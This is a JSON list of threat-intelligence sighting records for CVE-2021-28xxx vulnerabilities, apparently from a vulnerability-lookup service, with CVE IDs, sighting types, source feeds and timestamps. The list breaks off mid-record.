{"vulnerability": "2021-28", "sightings": [{"uuid": "f8afab4f-b730-49fb-b97b-71fd1a3193ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "862d2503-c589-4fde-b733-829b566879ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "MISP/bb8198c3-2aee-4d3c-8b0f-e341fd1c7f0b", "content": "", "creation_timestamp": "2021-08-10T15:25:39.000000Z"}, {"uuid": "fe1d6eca-590e-4c97-b58e-14eff532012c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "MISP/fad396ea-c38c-4e15-a3e2-134eac72edc3", "content": "", "creation_timestamp": "2021-08-11T06:06:59.000000Z"}, {"uuid": "3847bb34-fa0f-4219-a241-fa5765548d67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "5a0809f6-bb97-4c8d-b7e9-9b1c01ea0f02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:16.000000Z"}, {"uuid": "c23eadec-1df0-4a5f-876f-2b664b2565c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "1ec195fc-91a2-42ed-818a-6c4f6e21c7ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:18.000000Z"}, {"uuid": "0e483c25-1b2e-4af2-9331-3d365aa81713", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:17.000000Z"}, {"uuid": "d881dc18-241d-47b8-aad3-781df29a38ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:17.000000Z"}, {"uuid": "06faa5f4-5611-4a9a-8c35-193f6a71cc7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "8814a707-f66f-4f2f-878d-1c062506cf7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "MISP/31444f14-211f-42e7-b9a5-50413099a216", "content": "", "creation_timestamp": "2022-08-04T14:55:30.000000Z"}, {"uuid": "c404db11-2d8a-46a9-b116-051c175f945a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "MISP/63ddead6-4b82-414c-ad8e-c516b950b446", "content": "", "creation_timestamp": "2021-10-25T22:32:43.000000Z"}, {"uuid": "5a250290-a476-4a2b-a9f9-fb0b391fc126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-06-14T21:10:04.000000Z"}, {"uuid": "d392a56e-0029-426d-b93f-8a0b0f4880cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28150", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-28150.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "088c6cc2-6cd2-408c-864a-a9372eb0f2b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-28164.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "d95ee6db-a0a5-4cbc-968d-26217785852d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28073", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-28073.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "af100b56-0f7c-4312-aa57-8ebb0ff44273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28918", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-28918.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "32ef5208-3842-4b30-8ce2-3debdbc33887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28937", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-28937.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "1025c956-cb77-4e83-8b39-4867424884b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28169", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-28169.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "0218e124-2d1a-4353-af70-2d8f58c31cf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28149", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-28149.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "3a1e3375-e321-44a7-afec-a7590213d6c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28641", "type": "seen", "source": "MISP/e630bb68-7110-4dfa-a675-91233b847bcd", "content": "", "creation_timestamp": "2024-11-14T06:09:41.000000Z"}, {"uuid": "486c02ba-dd6e-4fa4-8075-339233394002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28918", "type": "seen", "source": "MISP/256dd7af-3b95-452d-b946-c2e03a60eb97", "content": "", "creation_timestamp": "2024-11-14T06:08:27.000000Z"}, {"uuid": "9bf5770e-40b4-4922-87f2-93f9ccbd8125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "MISP/b1a8724c-7daa-4f15-8d4c-565978e7257c", "content": "", "creation_timestamp": "2024-11-14T06:08:26.000000Z"}, {"uuid": "1622f963-b972-4312-a60c-669fca58f143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "seen", "source": "MISP/e195fade-a417-4bb5-8bfb-57bc580eedf5", "content": "", "creation_timestamp": "2024-11-14T06:08:58.000000Z"}, {"uuid": "9b13f694-1962-4d0b-b028-c1d2e19e7a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28115", "type": "seen", "source": "MISP/a9946c4d-7399-4b6e-a7d1-16d7b195732b", "content": "", "creation_timestamp": "2024-11-14T06:08:11.000000Z"}, {"uuid": "9b8bc6d3-dc8a-48a2-b54b-5036971b2db2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "MISP/689a17aa-d88e-4ba6-986f-44cfa8533299", "content": "", "creation_timestamp": "2024-11-14T06:09:40.000000Z"}, {"uuid": "81529d26-4f47-485f-b223-a239f3503342", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "MISP/171e3ddd-22c8-4687-8e3e-f7f469dff1f5", "content": "", "creation_timestamp": "2024-11-14T06:09:01.000000Z"}, {"uuid": "22844708-1059-4b26-b28a-e7bee3fdb777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "MISP/6b1740e7-18a3-413b-9e29-d17c5873e90f", "content": "", "creation_timestamp": "2024-11-14T06:08:28.000000Z"}, {"uuid": "ffe6889d-517d-45e9-9ccf-dd51875d26b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28495", "type": "seen", "source": "MISP/89f9db69-9b01-45de-b8a9-2016d6bff78b", "content": "", "creation_timestamp": "2024-11-14T06:10:11.000000Z"}, {"uuid": "04d23528-fb22-4fa4-8742-157fdedf1f6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28639", "type": "seen", "source": "MISP/e129e736-9ded-4336-9fa8-bdf4fdc8de43", "content": "", "creation_timestamp": "2024-11-14T06:09:41.000000Z"}, {"uuid": "cf468d82-6877-4eed-9a05-1af202487b09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28460", "type": "seen", "source": "MISP/7bf8938d-c9fe-4b0e-b6eb-4b199a1c3618", "content": "", "creation_timestamp": "2024-11-14T06:09:07.000000Z"}, {"uuid": "95c90426-3910-4976-916c-cd0bf57ad9bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "MISP/6ce6c946-ebd2-4185-9349-c6d62f7a4f01", "content": "", "creation_timestamp": "2024-11-14T06:09:01.000000Z"}, {"uuid": "357e89d2-9dc4-4f89-9765-fee2c5e6848f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "MISP/54d4ee7e-57ea-48ad-9469-e4955c0d3a7f", "content": "", "creation_timestamp": "2024-11-14T06:09:20.000000Z"}, {"uuid": "767ad548-5b24-41f8-b950-6d6855623757", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971166", "content": "", "creation_timestamp": "2024-12-24T20:25:14.878702Z"}, {"uuid": "f032d8a4-e1e4-41a4-b0b6-b819c6e271da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971012", "content": "", "creation_timestamp": "2024-12-24T20:23:02.022122Z"}, {"uuid": "108c43f5-94ff-4955-af8f-260ff836b110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971123", "content": "", "creation_timestamp": "2024-12-24T20:24:35.190436Z"}, {"uuid": "6dd9cf1e-0440-4c2c-ad84-ef2656dbade0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971124", "content": "", "creation_timestamp": "2024-12-24T20:24:36.128416Z"}, {"uuid": "cc08bf93-9e67-41ec-ad1d-71921d186020", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971490", "content": "", "creation_timestamp": "2024-12-24T20:30:05.163996Z"}, {"uuid": "89f2209e-5d5b-4fbf-ab79-30ed0e09fa7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "b916ce77-d5e8-4865-b5c0-ec7ab2cf785c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28855", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "70e5e86c-bd2c-47c6-a2fe-f4169c307597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28149", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "04f9c923-08d0-4a67-bd5f-c98d74163c39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-26)", "content": "", "creation_timestamp": "2025-01-26T00:00:00.000000Z"}, {"uuid": "6ec72081-09d2-4ca2-b2b6-e05de9e59b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-03)", "content": "", "creation_timestamp": "2025-02-03T00:00:00.000000Z"}, {"uuid": "478454b3-47e8-47ea-9a80-50a70d9ecbd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28855", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:36.000000Z"}, {"uuid": "6a172128-0ebe-4742-90f1-330c86759c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:36.000000Z"}, {"uuid": "d5594b85-2f9f-4d6d-b074-a5c9809162e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28149", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-04)", "content": "", "creation_timestamp": "2025-03-04T00:00:00.000000Z"}, {"uuid": "ad7a4020-4c50-4752-830f-8c153ace1eaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-18)", "content": "", "creation_timestamp": "2025-03-18T00:00:00.000000Z"}, {"uuid": "f5f45409-d8aa-4eb9-80a1-c09616a556c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-13)", "content": "", "creation_timestamp": "2025-03-13T00:00:00.000000Z"}, {"uuid": "4d829425-90ba-4d3e-9620-603de419d603", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28149", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-19)", "content": "", "creation_timestamp": "2025-02-19T00:00:00.000000Z"}, {"uuid": "6356dd15-29fa-49c6-9ee5-80b5948a9b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28149", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-20)", "content": "", "creation_timestamp": "2025-02-20T00:00:00.000000Z"}, {"uuid": "e72321c1-c312-4abe-8d48-eed7180e4e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-20)", "content": "", "creation_timestamp": "2025-02-20T00:00:00.000000Z"}, {"uuid": "b930ea4d-929c-4d07-b1c2-e8b3505d6d2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:54.000000Z"}, {"uuid": "5144db4c-7a4a-40bc-9a22-056d1a5741a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:54.000000Z"}, {"uuid": "63d5beea-463c-4588-bee5-eda9183e5796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:54.000000Z"}, {"uuid": "2d3698d9-5afa-42a0-8ba2-777d366e968b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:54.000000Z"}, {"uuid": "36259119-1fc5-4c28-a8b2-8d657c0f6a18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:30.000000Z"}, {"uuid": "71329948-84a4-4775-8cab-f08216bf7746", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28149", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-06)", "content": "", "creation_timestamp": "2025-04-06T00:00:00.000000Z"}, {"uuid": "5d93e2cc-e6d4-484b-b7ba-cf4b028b8b4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28976", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmngl2yknx27", "content": "", "creation_timestamp": "2025-04-12T21:02:17.009471Z"}, {"uuid": "6fc0edca-2cee-43a7-aec9-f2b64b97a398", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "https://gist.github.com/daniruiz/962ecca527b59954e619c5ae2cab680c", "content": "", "creation_timestamp": "2025-07-10T08:13:41.000000Z"}, {"uuid": "b62ab4df-91c4-43ed-ae41-e72dcc3f4b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28149", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-28)", "content": "", "creation_timestamp": "2025-04-28T00:00:00.000000Z"}, {"uuid": "8b326c9f-eff0-48a9-8567-78eac92d170f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-c9b5ed00-a042f795a585f1dc", "content": "", "creation_timestamp": "2025-06-03T15:21:26.733864Z"}, {"uuid": "a8387e97-8ed2-41f4-926a-34785e29a5dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://gist.github.com/Darkcrai86/4fa2eab2c7c37835482fa7974c6a677b", "content": "", "creation_timestamp": "2025-09-20T18:10:20.000000Z"}, {"uuid": "76592bdc-bd23-4473-9732-6c7b20673a89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-25)", "content": "", "creation_timestamp": "2025-10-25T00:00:00.000000Z"}, {"uuid": "656ce644-b72a-445c-a695-19232103383a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28149", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-14)", "content": "", "creation_timestamp": "2025-08-14T00:00:00.000000Z"}, {"uuid": "c434169f-f79c-47de-b978-96a902951c9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-04)", "content": "", "creation_timestamp": "2025-10-04T00:00:00.000000Z"}, {"uuid": "4124522a-2aea-458a-bac9-b70f0f2821e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28149", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-12)", "content": "", "creation_timestamp": "2025-10-12T00:00:00.000000Z"}, {"uuid": "945d36af-9c08-492f-a86d-31ee845515a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28164", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/jetty_web_inf_disclosure.rb", "content": "", "creation_timestamp": "2021-11-12T18:09:42.000000Z"}, {"uuid": "a531df82-055c-4b20-9066-dc02095fd177", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28150", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lxavjkqbn62m", "content": "", "creation_timestamp": "2025-08-25T21:02:22.803291Z"}, {"uuid": "1b6ecec4-1ffd-4f45-8592-91d94e15be93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:00:59.000000Z"}, {"uuid": "6125ebbd-d3ca-418c-b4bb-897d72a407bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28199", "type": "seen", "source": "https://gist.github.com/Darkcrai86/ee6a4e24700fb9ee1d046e05e4fcb180", "content": "", "creation_timestamp": "2025-09-02T15:45:12.000000Z"}, {"uuid": "31b368ae-a4f3-44e5-8ef7-ded8775dd22a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mf5y3sc2wt2w", "content": "", "creation_timestamp": "2026-02-18T21:03:05.166973Z"}, {"uuid": "5d348fc8-e707-45c6-a999-9da38d181a60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mf5y3sepvk2h", "content": "", "creation_timestamp": "2026-02-18T21:03:05.774174Z"}, {"uuid": "e4337b69-8aac-48be-854f-5e6baf8664f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-13)", "content": "", "creation_timestamp": "2026-02-13T00:00:00.000000Z"}, {"uuid": "45cbeaf1-c464-4b3b-82e8-6943c8928702", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-23)", "content": "", "creation_timestamp": 